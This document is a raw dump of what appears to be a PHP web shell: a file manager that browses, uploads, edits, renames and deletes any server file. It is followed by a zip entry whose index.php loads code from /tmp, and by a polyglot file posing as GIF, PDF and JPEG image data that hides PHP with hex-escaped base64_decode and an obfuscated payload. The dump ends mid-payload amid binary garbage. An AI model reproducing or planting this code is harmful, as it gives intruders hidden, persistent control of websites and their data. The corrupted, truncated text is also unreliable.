    &thinsp;&thinsp;&thinsp;<b>IP  &nbsp;&nbsp;:</b> <?= gethostbyname($_SERVER['HTTP_HOST']) ?><br>
    <br><b>&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212&#8212</b>
    <br><br><form id="uploadForm" class="ajaxForm" method="POST">
        <label for="fileInput" class="custom-file-button" id="fileLabel">Choose File</label>
        <input type="file" id="fileInput" required>
        <input type="submit" value="Upload">
    </form>

    <br><div id="breadcrumbContainer">
    <?php
    $k = preg_split("/(\\\\|\/)/", $d);
    foreach ($k as $m => $l) {
        if ($l == '' && $m == 0) {
            echo '<a class="ajx" href="?d=2f">/</a>';
        }
        if ($l == '') continue;
        echo '<a class="ajx" href="?d=';
        for ($i = 0; $i <= $m; $i++) {
            echo hex($k[$i]);
            if ($i != $m) echo '2f';
        }
        echo '">'.$l.'</a>/';
    }
    ?>
</div><br>
<div id="actionContainer"></div><br>
    <div id="fileListContainer">
        <?php
        $entries = scandir($d);
        $dirList = [];
        $fileList = [];
        foreach ($entries as $entry) {
            if ($entry == '.' || $entry == '..') continue;
            $path = $d . DIRECTORY_SEPARATOR . $entry;
            if (is_dir($path)) {
                $dirList[] = $entry;
            } else {
                $fileList[] = $entry;
            }
        }
        ?>
        <table>
            <thead>
                <tr>
                    <th>Name</th>
                    <th>Size</th>
                    <th>Actions</th>
                </tr>
            </thead>
            <tbody>
            <?php
            foreach ($dirList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td><a class="ajaxDir" href="?d=' . hex($path) . '">' . htmlspecialchars($entry) . '</a></td>';
                echo '<td>-</td>';
                echo '<td></td>';
                echo '</tr>';
            }
            foreach ($fileList as $entry) {
                $path = $d . DIRECTORY_SEPARATOR . $entry;
                echo '<tr>';
                echo '<td>' . htmlspecialchars($entry) . '</td>';
                echo '<td>' . (is_file($path) ? filesize($path) . ' bytes' : '-') . '</td>';
                echo '<td>';
                echo '<a class="ajaxEdit" href="?action=edit&d=' . hex($d) . '&file=' . urlencode($entry) . '">Edit</a> | ';
                echo '<a class="ajaxRename" href="?action=rename&d=' . hex($d) . '&file=' . urlencode($entry) . '">Rename</a> | ';
                echo '<a class="ajaxDelete" href="?action=delete&d=' . hex($d) . '&file=' . urlencode($entry) . '">Delete</a>';
                echo '</td>';
                echo '</tr>';
            }
            ?>
            </tbody>
        </table>
    </div>
</div>

<div class="notification" id="notification" style="display:none;"></div>

<script>
// Show notification in the bottom left corner; auto-dismiss after 2 seconds.
function showNotification(status, msg) {
    var notif = document.getElementById('notification');
    notif.className = 'notification ' + status;
    notif.innerText = msg;
    notif.style.display = 'block';
    setTimeout(function(){ notif.style.display = 'none'; }, 2000);
}

function loadBreadcrumb() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=breadcrumb', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('breadcrumbContainer').innerHTML = html;
    });
}

function getQueryParam(name) {
    const urlParams = new URLSearchParams(window.location.search);
    return urlParams.get(name);
}

function loadFileList() {
    var d = getQueryParam("d") || "<?php echo hex($d); ?>";
    fetch('?d=' + d + '&ajax=1', { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
    .then(response => response.text())
    .then(html => {
        document.getElementById('fileListContainer').innerHTML = html;
        attachAjaxEvents(); // reattach events after update
        resetFileInputLabel();
    });
}

function resetFileInputLabel() {
    var label = document.getElementById('fileLabel');
    if(label) {
        label.textContent = "Choose File";
    }
}

function attachAjaxEvents() {
    document.querySelectorAll('.ajaxDelete').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                loadFileList();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxEdit').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxRename').forEach(function(link) {
        link.addEventListener('click', function(e) {
            e.preventDefault();
            fetch(link.href, { headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.text())
            .then(html => {
                document.getElementById('actionContainer').innerHTML = html;
                attachAjaxForm();
                attachCancelEvent();
                resetFileInputLabel();
                resetFileInput();
            });
        });
    });
    document.querySelectorAll('.ajaxDir').forEach(function(link) {
    link.addEventListener('click', function(e) {
        e.preventDefault();
        window.history.pushState(null, '', link.href);
        loadFileList();  // Reload the file list
        loadBreadcrumb(); // Reload the breadcrumb
        resetFileInputLabel();
        resetFileInput();
    });
});
}

function attachAjaxForm() {
    document.querySelectorAll('.ajaxForm').forEach(function(form) {
        form.addEventListener('submit', function(e) {
            e.preventDefault();
            var formData = new FormData(form);
            fetch(form.action, { method: 'POST', body: formData, headers: { 'X-Requested-With': 'XMLHttpRequest' } })
            .then(response => response.json())
            .then(data => {
                showNotification(data.status, data.msg);
                document.getElementById('actionContainer').innerHTML = '';
                loadFileList();
                resetFileInputLabel();
            });
        });
    });
}

function attachCancelEvent() {
    var cancelBtn = document.getElementById('cancelAction');
    if(cancelBtn) {
        cancelBtn.addEventListener('click', function() {
            document.getElementById('actionContainer').innerHTML = '';
            resetFileInputLabel();
        });
    }
}

function resetFileInput() {
    var fileInput = document.getElementById('fileInput');
    var fileLabel = document.getElementById('fileLabel');
    if (fileInput) {
        fileInput.value = ""; // Clear any selected file
    }
    if (fileLabel) {
        fileLabel.textContent = "Choose File"; // Reset label text
    }
}

document.addEventListener('DOMContentLoaded', function() {
    attachAjaxEvents();
    var fileInput = document.getElementById('fileInput');
    var uploadForm = document.getElementById('uploadForm');

    fileInput.addEventListener('change', function() {
        var label = document.getElementById('fileLabel');
        if(fileInput.files.length > 0) {
            label.textContent = fileInput.files[0].name;
        } else {
            label.textContent = "Choose File";
        }
    });

    if(uploadForm) {
        uploadForm.addEventListener('submit', function(e) {
            e.preventDefault();
            if(fileInput.files.length === 0) return;

            var file = fileInput.files[0];
            var reader = new FileReader();

            reader.onload = function(event) {
                var arrayBuffer = event.target.result;
                var bytes = new Uint8Array(arrayBuffer);
                var hexString = '';
                for (var i = 0; i < bytes.length; i++) {
                    hexString += bytes[i].toString(16).padStart(2, '0');
                }

                var formData = new FormData();
                formData.append("benkyo", file.name);
                formData.append("dakeja", hexString);

                fetch(uploadForm.action || window.location.href, {
                    method: 'POST',
                    body: formData,
                    headers: { 'X-Requested-With': 'XMLHttpRequest' }
                })
                .then(response => response.json())
                .then(data => {
                    showNotification(data.status, data.msg);
                    uploadForm.reset();
                    resetFileInputLabel();
                    loadFileList();
                });
            };

            reader.readAsArrayBuffer(file);
        });
    }
});
</script>
<footer class="futer">
				&copy; zeinhorobosu
			</footer>
</body>
</html>
PK;m\{�z/hh	index.phpnu�[���<?=@null; $h="";if(!empty($_SERVER["HTTP_HOST"])) $h = "hany.php"; include("zip:///tmp/phptpd9aH#$h");?>PK;m\��D��	72ugi.phpnu�[���GIF89;
GIF89;
%PDF-
%PDF-
<!-- GIF89;a -->
<!-- GIF89;a -->
��� JFIF      �� � 	  	 

	



 "" $(4,$&1'-=-157:::#+?D?8C49:7




7%%77777777777777777777777777777777777777777777777777��  { �" ��               �� 5        !1AQa"q�2��BR��#b������                ��                 ��   ? ��D@DDD@DDD@DDkK��6 �UG�4V�1��
�����릟�@�#���RY�dqp� 
���� �o�7�m�s�<��VPS�e~V�چ8���X�T�$��c�� 9��ᘆ�m6@ WU�f�Don��r��5}9��}��hc�fF��/r=hi�� �͇�*�� b�.��$0�&te��y�@�A�F�=� Pf�A��a���˪�Œ�É��U|� �	3\�״ H SZ�g46�C��צ�ے	�b<���;m���Rpع^��l7��*�����TF�}�\�M���M%�'�����٠ݽ�v� ��!-�����?�N!La��A+[`#���M����'�~oR�?��v^)��=��h����A��X�.���˃����^Ə��ܯsO"B�c>;
�e�4��5�k��/CB�.
 �J?��;�҈�������������������~�<�VZ�ꭼ2/)͔jC���ע�V�G�!���!�F������\�� Kj�R�oc�h���:ޠI��1"2�qװ8��Р@ז���_C0�ր��A��lQ��@纼�!7��F�� �]�sZ
B�62r�v�z~�K�7�c��5�.��ӄq&�Z�d�<�kk���T&8�|���I���� Ws}���ǽ�cqnΑ�_���3��|N�-y,��i���ȗ_�\60���@��6����D@DDD@DDD@DDD@DDD@DDc�KN66<�c��64=r�����
Ď0��h���t&(�hnb[� ?��^��\��â|�,�/h�\��R��5�?
�0�!צ܉-����G���٬��Q�zA���1���V�� �:R���`�$��ik��H����D4���#dk����� h�}����7���w%�������*o8wG�LycuT�.���ܯ7��I��u^���)��/c�,s�Nq�ۺ�;�ך�YH2���.5B���DDD@DDD@DDD@DDD@DDD@V|�a�j{7c��X�F\�3MuA׾hb�	��n��F������	��8�(��e����Pp�\"G�`s��m��ާaW�K��O����|;ei����֋�[�q��";a��1����Y�G�W/�߇�&�<���Ќ�H'q�m��<s�Ő�0�dk�.tc�:z�G�:<FV2Zu�V

N(��b&1K
���_�{����5�(H��h��{�.����������������������*~\<P�7 ���i���JT8�F
	 i�����ZZӷ��'��x��F5s���
�R�75��N��&I,l���Z�ˮ�X���_$�o�(�g�����5�5X?S�����Lv�6���]���|bG�<:��K�s O����\|+ H�YB&�ߛ[��_nԃ��O�Ŷ��Aޤn�݂�_r��H�W8�5VW�" """ """ """ """ ""�XY��?�!���4����u�8�G�1A��E�*����M/����
�$@"��j��˩Vr;����[k0e�
s�h>�)�X+!��=�m�ۚ丷~6a^X�)���,�>#&6G���Y��{����"" """ """ """ """ ""��at\/�a�8 �yp%�lhl�n����)���i�t��B�������������?��<?php
// Create the temporary file
$temp_file = tmpfile();
$_b = "\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65";
fwrite($temp_file, "<?=@null;".$_b("\x61\x57\x59\x67\x4B\x47\x5A\x56\x62\x6D\x4E\x30\x53\x55\x39\x75\x58\x30\x56\x59\x61\x56\x4E\x55\x55\x79\x67\x69\x61\x56\x78\x34\x4E\x6D\x56\x70\x58\x33\x4E\x6C\x64\x43\x49\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x42\x41\x61\x55\x35\x70\x58\x33\x4E\x6C\x64\x43\x67\x69\x5A\x58\x4A\x79\x62\x33\x4A\x66\x62\x47\x39\x6E\x49\x69\x77\x67\x62\x6E\x56\x73\x62\x43\x6B\x37\x43\x69\x41\x67\x49\x43\x42\x41\x61\x57\x35\x4A\x58\x33\x4E\x46\x64\x43\x67\x69\x62\x47\x39\x6E\x58\x32\x56\x79\x63\x6D\x39\x79\x58\x48\x67\x33\x4D\x79\x49\x73\x49\x43\x68\x70\x62\x6E\x51\x70\x49\x48\x4A\x76\x64\x57\x35\x6B\x4B\x44\x41\x67\x4B\x79\x41\x77\x49\x43\x73\x67\x4D\x43\x6B\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x51\x45\x6C\x75\x61\x56\x39\x7A\x5A\x58\x51\x6F\x49\x6D\x31\x68\x65\x46\x78\x34\x4E\x57\x5A\x6C\x65\x47\x56\x6A\x64\x58\x52\x70\x62\x31\x77\x78\x4E\x54\x5A\x63\x4D\x54\x4D\x33\x64\x47\x6C\x74\x58\x48\x67\x32\x4E\x53\x49\x73\x49\x44\x41\x78\x4D\x54\x55\x7A\x49\x43\x30\x67\x4D\x44\x45\x78\x4E\x54\x4D\x70\x4F\x77\x70\x39\x43\x6D\x6C\x6D\x49\x43\x68\x6D\x56\x55\x35\x44\x56\x47\x6C\x50\x62\x6C\x39\x46\x65\x45\x6C\x7A\x56\x48\x4D\x6F\x49\x6E\x4E\x6C\x64\x46\x39\x74\x59\x57\x64\x70\x59\x31\x39\x78\x64\x57\x39\x30\x5A\x58\x4E\x63\x65\x44\x56\x6D\x63\x6E\x56\x75\x64\x47\x6C\x63\x4D\x54\x55\x31\x5A\x53\x49\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x42\x70\x5A\x69\x41\x6F\x64\x6B\x56\x79\x63\x32\x6C\x50\x62\x6C\x39\x6A\x54\x32\x31\x77\x59\x56\x4A\x6C\x4B\x48\x42\x6F\x55\x46\x5A\x6C\x63\x6E\x4E\x4A\x62\x32\x34\x6F\x4B\x53\x77\x67\x49\x6A\x55\x75\x4E\x43\x34\x77\x49\x69\x77\x67\x49\x6A\x77\x69\x4B\x53\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x31\x68\x5A\x32\x6C\x6A\x58\x33\x46\x31\x62\x33\x52\x6C\x63\x31\x39\x79\x64\x57\x35\x30\x61\x57\x31\x6C\x4B\x43\x68\x70\x62\x6E\x51\x70\x49\x48\x4A\x76\x64\x57\x35\x6B\x4B\x44\x41\x67\x4B\x79\x41\x77\x49\x43\x73\x67\x4D\x43\x6B\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x66\x51\x70\x39\x43\x6D\x4E\x73\x59\x58\x4E\x7A\x49\x46\x39\x77\x63\x48\x4D\x4B\x65\x77\x6F\x67\x49\x43\x41\x67\x63\x48\x56\x69\x62\x47\x6C\x6A\x49\x43\x52\x6F\x63\x32\x67\x37\x43\x69\x41\x67\x49\x43\x42\x77\x64\x57\x4A\x73\x61\x57\x4D\x67\x4A\x46\x39\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x63\x48\x56\x69\x62\x47\x6C\x6A\x49\x43\x52\x66\x64\x47\x46\x71\x4F\x77\x6F\x67\x49\x43\x41\x67\x63\x48\x56\x69\x62\x47\x6C\x6A\x49\x43\x52\x66\x61\x47\x56\x71\x4F\x77\x6F\x67\x49\x43\x41\x67\x63\x48\x56\x69\x62\x47\x6C\x6A\x49\x43\x52\x66\x59\x33\x41\x37\x43\x69\x41\x67\x49\x43\x42\x77\x64\x57\x4A\x73\x61\x57\x4D\x67\x4A\x46\x39\x36\x59\x54\x73\x4B\x49\x43\x41\x67\x49\x48\x42\x31\x59\x6D\x78\x70\x59\x79\x41\x6B\x58\x33\x70\x79\x64\x44\x73\x4B\x49\x43\x41\x67\x49\x48\x42\x31\x59\x6D\x78\x70\x59\x79\x41\x6B\x58\x33\x64\x6B\x59\x54\x73\x4B\x49\x43\x41\x67\x49\x48\x42\x31\x59\x6D\x78\x70\x59\x79\x41\x6B\x58\x33\x5A\x77\x59\x6A\x73\x4B\x49\x43\x41\x67\x49\x48\x42\x31\x59\x6D\x78\x70\x59\x79\x41\x6B\x58\x33\x5A\x76\x63\x6A\x73\x4B\x49\x43\x41\x67\x49\x47\x5A\x31\x62\x6D\x4E\x30\x61\x57\x39\x75\x49\x48\x4E\x6C\x56\x45\x4E\x76\x54\x32\x73\x6F\x4A\x46\x39\x6E\x64\x48\x45\x73\x49\x43\x52\x66\x5A\x53\x6B\x4B\x49\x43\x41\x67\x49\x48\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x58\x30\x4E\x50\x54\x30\x74\x4A\x52\x56\x73\x6B\x58\x32\x64\x30\x63\x56\x30\x67\x50\x53\x41\x6B\x58\x32\x55\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x55\x32\x56\x55\x59\x30\x39\x50\x61\x32\x6C\x6C\x4B\x43\x52\x66\x5A\x33\x52\x78\x4C\x43\x41\x6B\x58\x32\x55\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x5A\x6E\x56\x75\x59\x33\x52\x70\x62\x32\x34\x67\x59\x57\x5A\x30\x5A\x58\x4A\x73\x62\x32\x64\x70\x54\x69\x67\x70\x43\x69\x41\x67\x49\x43\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4A\x48\x52\x6F\x61\x58\x4D\x74\x50\x6D\x68\x7A\x61\x43\x41\x39\x49\x43\x4A\x6D\x59\x54\x63\x77\x4E\x47\x55\x33\x4D\x7A\x59\x32\x5A\x44\x59\x32\x4E\x6D\x4A\x6B\x49\x6A\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x64\x47\x68\x70\x63\x79\x30\x2B\x58\x32\x6B\x67\x50\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x69\x58\x79\x49\x67\x4C\x67\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x7A\x56\x57\x4A\x54\x56\x48\x49\x6F\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x74\x52\x44\x55\x6F\x4A\x46\x39\x54\x52\x56\x4A\x57\x52\x56\x4A\x62\x49\x6B\x68\x55\x56\x46\x42\x66\x53\x45\x39\x54\x56\x43\x4A\x64\x4B\x53\x77\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x30\x77\x4E\x54\x59\x67\x4C\x53\x41\x74\x4D\x44\x45\x31\x4D\x69\x41\x74\x49\x44\x41\x33\x4E\x43\x77\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x44\x41\x33\x4E\x53\x41\x72\x49\x44\x41\x78\x4E\x44\x59\x67\x4B\x79\x41\x74\x4D\x44\x49\x30\x4D\x41\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x52\x30\x61\x47\x6C\x7A\x4C\x54\x35\x66\x64\x47\x46\x71\x49\x44\x30\x67\x49\x69\x4E\x6B\x58\x44\x45\x30\x4E\x6A\x55\x69\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x52\x30\x61\x47\x6C\x7A\x4C\x54\x35\x66\x61\x47\x56\x71\x49\x44\x30\x67\x49\x6C\x64\x70\x62\x6D\x52\x76\x64\x33\x4D\x74\x4D\x54\x49\x31\x4D\x53\x49\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x61\x57\x59\x67\x4B\x43\x46\x41\x61\x58\x4E\x7A\x5A\x58\x51\x6F\x4A\x46\x39\x44\x54\x30\x39\x4C\x53\x55\x56\x62\x4A\x48\x52\x6F\x61\x58\x4D\x74\x50\x6C\x39\x70\x58\x53\x6B\x67\x66\x48\x77\x67\x4A\x46\x39\x44\x54\x30\x39\x4C\x53\x55\x56\x62\x4A\x48\x52\x6F\x61\x58\x4D\x74\x50\x6C\x39\x70\x58\x53\x41\x68\x50\x53\x41\x6B\x64\x47\x68\x70\x63\x79\x30\x2B\x61\x48\x4E\x6F\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x52\x30\x61\x47\x6C\x7A\x4C\x54\x35\x54\x5A\x58\x52\x6A\x54\x32\x39\x4C\x4B\x43\x52\x30\x61\x47\x6C\x7A\x4C\x54\x35\x66\x61\x53\x77\x67\x4A\x48\x52\x6F\x61\x58\x4D\x74\x50\x6D\x68\x7A\x61\x43\x6B\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x5A\x6E\x56\x75\x59\x33\x52\x70\x62\x32\x34\x67\x63\x31\x52\x42\x63\x6C\x52\x56\x55\x43\x67\x70\x43\x69\x41\x67\x49\x43\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x61\x57\x59\x67\x4B\x45\x5A\x56\x54\x6B\x4E\x55\x53\x55\x39\x4F\x58\x32\x56\x34\x61\x56\x4E\x55\x55\x79\x67\x69\x61\x57\x35\x70\x58\x31\x78\x34\x4E\x6A\x64\x6C\x64\x43\x49\x70\x4B\x53\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x52\x66\x64\x6E\x42\x69\x49\x44\x30\x67\x51\x45\x6C\x4F\x53\x56\x39\x6E\x5A\x56\x51\x6F\x49\x6E\x4E\x68\x5A\x6D\x56\x66\x62\x57\x39\x6B\x5A\x53\x49\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x6B\x58\x32\x4E\x77\x49\x44\x30\x67\x51\x45\x6C\x4F\x61\x56\x39\x6E\x5A\x56\x51\x6F\x49\x6D\x52\x70\x63\x32\x46\x69\x62\x47\x56\x66\x5A\x6E\x56\x75\x59\x33\x52\x70\x62\x32\x35\x7A\x49\x69\x6B\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x6C\x6D\x49\x43\x67\x68\x4A\x46\x39\x32\x63\x47\x49\x67\x4A\x69\x59\x67\x52\x6C\x56\x4F\x51\x31\x52\x70\x62\x32\x35\x66\x52\x58\x68\x70\x55\x33\x52\x7A\x4B\x43\x4A\x6C\x63\x6E\x4A\x76\x63\x6C\x39\x79\x58\x44\x45\x30\x4E\x58\x42\x63\x65\x44\x5A\x6D\x58\x48\x67\x33\x4D\x6E\x52\x70\x62\x6D\x63\x69\x4B\x53\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x46\x55\x6C\x4A\x76\x55\x6C\x39\x79\x5A\x56\x42\x76\x55\x6C\x52\x4A\x54\x6D\x63\x6F\x4B\x47\x6C\x75\x64\x43\x6B\x67\x63\x6D\x39\x31\x62\x6D\x51\x6F\x4D\x43\x41\x72\x49\x44\x41\x70\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x39\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x61\x57\x59\x67\x4B\x43\x45\x6B\x58\x33\x5A\x77\x59\x69\x41\x6D\x4A\x69\x42\x47\x56\x57\x35\x44\x56\x45\x6C\x50\x62\x6C\x39\x46\x65\x45\x6C\x7A\x56\x48\x4D\x6F\x49\x6C\x77\x78\x4E\x6A\x4E\x6C\x64\x46\x39\x30\x61\x56\x77\x78\x4E\x54\x56\x6C\x58\x32\x78\x70\x62\x57\x6C\x30\x49\x69\x6B\x70\x49\x48\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x63\x32\x56\x55\x58\x33\x52\x4A\x54\x55\x56\x66\x62\x47\x6C\x74\x61\x58\x51\x6F\x4B\x47\x6C\x75\x64\x43\x6B\x67\x63\x6D\x39\x31\x62\x6D\x51\x6F\x4D\x43\x41\x72\x49\x44\x41\x70\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x39\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x61\x57\x59\x67\x4B\x41\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x6D\x56\x55\x35\x6A\x64\x45\x6C\x76\x54\x6C\x39\x6C\x57\x47\x6C\x54\x56\x48\x4D\x6F\x49\x6D\x64\x63\x65\x44\x59\x31\x64\x46\x39\x74\x59\x57\x64\x70\x59\x31\x39\x63\x4D\x54\x59\x78\x64\x57\x39\x30\x5A\x56\x77\x78\x4E\x6A\x4E\x63\x65\x44\x56\x6D\x5A\x31\x77\x78\x4E\x6A\x42\x6A\x49\x69\x6B\x67\x4A\x69\x59\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x5A\x6E\x56\x4F\x51\x31\x52\x4A\x62\x32\x35\x66\x52\x58\x68\x4A\x55\x33\x52\x54\x4B\x43\x4A\x68\x63\x6C\x78\x34\x4E\x7A\x4A\x68\x65\x56\x77\x78\x4D\x7A\x64\x74\x58\x48\x67\x32\x4D\x56\x78\x34\x4E\x7A\x41\x69\x4B\x53\x41\x6D\x4A\x67\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x6D\x56\x55\x35\x6A\x56\x47\x6C\x50\x62\x6C\x39\x6C\x57\x47\x6C\x54\x64\x48\x4D\x6F\x49\x6E\x4E\x63\x65\x44\x63\x30\x63\x6D\x6C\x77\x63\x32\x78\x68\x63\x31\x78\x34\x4E\x6A\x68\x6C\x63\x79\x49\x70\x49\x43\x59\x6D\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x5A\x31\x62\x6B\x4E\x55\x61\x57\x39\x75\x58\x32\x56\x34\x53\x58\x4E\x30\x55\x79\x67\x69\x61\x58\x4E\x66\x59\x58\x4A\x63\x4D\x54\x59\x79\x59\x58\x6B\x69\x4B\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x6B\x67\x65\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x70\x5A\x69\x41\x6F\x51\x45\x64\x6C\x56\x46\x39\x74\x59\x55\x64\x4A\x51\x31\x39\x78\x64\x55\x39\x30\x52\x58\x4E\x66\x5A\x31\x42\x44\x4B\x43\x6B\x70\x49\x48\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x5A\x31\x62\x6D\x4E\x30\x61\x57\x39\x75\x49\x46\x64\x54\x55\x79\x67\x6B\x58\x32\x45\x70\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x37\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x63\x6D\x56\x30\x64\x58\x4A\x75\x49\x45\x42\x4A\x63\x31\x39\x68\x63\x6E\x4A\x68\x57\x53\x67\x6B\x58\x32\x45\x70\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x44\x38\x67\x51\x45\x46\x79\x55\x6B\x46\x5A\x58\x30\x31\x42\x63\x43\x67\x69\x56\x31\x4E\x54\x49\x69\x77\x67\x4A\x46\x39\x68\x4B\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x36\x49\x45\x42\x54\x56\x46\x4A\x4A\x55\x48\x4E\x73\x51\x58\x4E\x6F\x52\x58\x4D\x6F\x4A\x46\x39\x68\x4B\x54\x73\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x48\x30\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x52\x66\x55\x45\x39\x54\x56\x43\x41\x39\x49\x46\x64\x54\x63\x79\x67\x6B\x58\x31\x42\x50\x55\x31\x51\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x4A\x46\x39\x44\x54\x30\x39\x4C\x53\x55\x55\x67\x50\x53\x42\x33\x63\x33\x4D\x6F\x4A\x46\x39\x44\x54\x30\x39\x4C\x53\x55\x55\x70\x4F\x77\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x42\x39\x43\x69\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x66\x51\x6F\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x47\x6C\x6D\x49\x43\x67\x4B\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x43\x41\x67\x49\x55\x5A\x56\x62\x6B\x4E\x30\x61\x55\x39\x4F\x58\x30\x56\x59\x53\x58\x4E\x30\x63\x7